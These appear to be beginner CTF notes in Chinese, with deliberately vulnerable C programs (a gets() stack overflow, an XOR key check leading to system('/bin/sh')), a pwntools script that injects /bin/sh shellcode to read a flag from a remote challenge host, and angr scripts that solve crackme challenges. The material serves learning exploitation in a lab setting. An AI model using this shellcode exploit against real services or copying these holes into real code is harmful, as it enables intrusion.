CTF 入门的一些笔记

1
#include <stdio.h>
2
#include <stdlib.h>
3

4
void vuln(void)
5
{
6
  char buf[100];
7
  printf("<Text 2> %p\n", buf);
8
  gets(buf);
9
}
10

11
void main(void)
12
{
13
  char sample[20];
14
  puts("<Text 1>");
15
  fgets(sample, sizeof(sample) - 1, stdin);
16
  vuln();
17
}

1
from pwn import *
2
# lib = gdb.debug("<local file>")
3
lib = remote("<remote addr>", <port>)
4
print(lib.recv())
5
# 随便写点什么填充第一个输入
6
lib.sendline(b"a")
7
re = lib.recv()
8
print(re)
9
# 从第二个输出中获取第二个字符数组的地址
10
addr = int(re[-15:-1], 16)
11
print(re[-15:-1])
12
# 获取 bytes 类型的 system("/bin/sh"); 的 shellcode
13
bash_bytes = asm(shellcraft.amd64.linux.sh(),arch='amd64', os='linux')
14
print(len(bash_bytes))
15
# 填充 shellcode 到第二个字符数组, 同时用 overflow 重写 `$rbp` 到之前获取的第二个字符数组开头
16
lib.sendline(bash_bytes + b"\x00" * (120 - len(bash_bytes)) + p64(addr, endian="little"))
17
# 获取 flag.txt 内容
18
lib.sendline(b"cat flag.txt")
19
lib.recv()

1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <string.h>
4
char key[50] = "_________________<Text_1>______________\xC0\xDE";
5

6
void win(void)
7
{
8
  system("/bin/sh");
9
}
10

11
void main(void)
12
{
13
  char input[50];
14
  fgets(input, sizeof(input) - 1, stdin);
15
  if (strlen(input) == strlen(key)) {
16
    for (int i = 0; i < strlen(key); i++) {
17
      if ((input[i] ^ 0x27) != key[i]) {
18
        exit(0);
19
      }
20
    }
21
    system("/bin/sh");
22
  }
23
}

1
import angr
2
import sys
3
# 程序地址
4
path_to_binary = "./chall"
5
# 载入程序
6
project = angr.Project(path_to_binary)
7
# 入口点为默认程序入口点
8
initial_state = project.factory.entry_state()
9
# 初始化模拟器
10
simulation = project.factory.simgr(initial_state)
11
# system 那一行的地址 (0x400000 开头是因为 Angr 的 pie 地址默认是 0x400000)
12
print_good_address = 0x400924
13
# 寻找解决方案
14
simulation.explore(find=print_good_address)
15

16
if simulation.found:
17
    solution_state = simulation.found[0]
18
  # 输出输入值
19
    solution = solution_state.posix.dumps(sys.stdin.fileno())
20
    print(solution)
21
else:
22
    raise Exception('Could not find the solution')

1
import angr
2
import sys
3
import claripy
4

5
def is_successful(state):
6
    global flag
7
    # 检查 stdout 有没有 Well Done 字段
8
    return b'Well Done' in state.posix.dumps(1)
9

10
def should_abort(state):
11
    # 检查控制台 stdout 有没有 Nope 字段
12
    return b'Nope' in state.posix.dumps(1)
13

14
# 加载二进制文件, 当我们分析的二进制没有受外部库显著的影响时, 可以关掉 auto_load_libs
15
project = angr.Project("F:/Downloads/homework_help", auto_load_libs = False)
16
print(project.loader.find_symbol("__stack_chk_fail").rebased_addr)
17
# 从这个方法开始执行
18
state = project.factory.blank_state(addr=project.loader.find_symbol("__stack_chk_fail").rebased_addr)
19
# 把 FLAG 变量当作一个 solver 的变量, 我们目的就是让 Angr 构造一个合适的 FLAG 来达到 is_successful 条件
20
# 第一个是自定义名字, 可以随意, 第二个参数是长度, 通过 Ghidra 可以看到程序中为 32 bytes 长, 也就是 32 * 8 bits 长
21
flag = state.solver.BVS('FLAG', 32 * 8)
22
# FLAG addr
23
print(project.loader.find_symbol("FLAG").rebased_addr)
24
# 把 FLAG 填充到全局 FLAG 符号的内存位置里
25
state.memory.store(project.loader.find_symbol("FLAG").rebased_addr, flag)
26
# 构造一个模拟器
27
simulation = project.factory.simulation_manager(state)
28
# 优化用的, 去掉也没事应该
29
simulation.one_active.options.add(angr.options.LAZY_SOLVES)
30
# 这里同时用 puts("Well Done.") 和 puts("Nope.") 本身的地址和控制台输出检查作为 find 条件, 实际上可以只使用一个
31
simulation.explore(find=[is_successful, 0x004013f5] , avoid=[should_abort, 0x401414])
32

33
for deadended in simulation.deadended:
34
    print("Valid memory access triggered by %s" % repr(deadended.posix.dumps(0)))
35

36
for errored in simulation.errored:
37
    print("%s caused by %s" % (errored.error, repr(errored.state.posix.dumps(0))))
38

39
if simulation.found:
40
    for s in simulation.found:
41
    # 输出 stdin 的内容
42
        print("input:", s.posix.dumps(0))
43
    # 输出程序 stdout
44
        print("output:", s.posix.dumps(1))
45
    # 输出达到 is_successful 条件的 FLAG 值
46
        print(s.solver.eval(flag, cast_to=bytes).decode())
47
else:
48
    raise Exception('Could not find the solution')